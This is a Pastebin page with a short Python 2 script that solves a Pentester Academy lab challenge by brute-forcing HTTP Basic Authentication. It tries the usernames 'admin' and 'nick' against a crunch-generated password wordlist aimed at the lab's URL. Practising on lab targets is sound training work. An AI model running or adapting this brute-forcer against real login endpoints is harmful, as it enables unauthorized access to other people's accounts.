Advertisement
illwill

pentester academy challenge 3

Jul 16th, 2014
311
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.08 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import base64
  4. import urllib2
  5. import sys
  6. from termcolor import colored
  7.  
  8.  
  9. U = ["admin","nick"]
  10.  
  11. '''
  12. Use The Following Command To Generate wordlist
  13. #crunch 5 5 asd -o wordlist.txt
  14. '''
  15.  
  16. p = open('wordlist.txt','r')
  17. P = [x.strip() for x in p.readlines()]
  18. p.close()
  19.  
  20. url = "http://pentesteracademylab.appspot.com/lab/webapp/basicauth"
  21. data = ""# idon't need to post any thing in this form .. its empty form
  22. for UserName in U:
  23.     for Pass in P:
  24.         Login_Auth = urllib2.Request(url,data) #urllib by default use GET request if you need to make it POST you will need to add data
  25.         Login_base = base64.encodestring('%s:%s' %(UserName,Pass)).replace('\n','')
  26.         Login_Auth.add_header("Authorization" , "Basic %s" %Login_base)
  27.         #if Login Failed it will responde by error of code 401 if not it will open the request
  28.         try:
  29.             Login = urllib2.urlopen(Login_Auth)
  30.         except Exception,code:
  31.             print "Login with Username %s ... Password %s ... Failed!"%(UserName,Pass)
  32.         else:
  33.             print colored("Login with Username %s ... Password %s "%(UserName,Pass),"green")
  34.             sys.exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement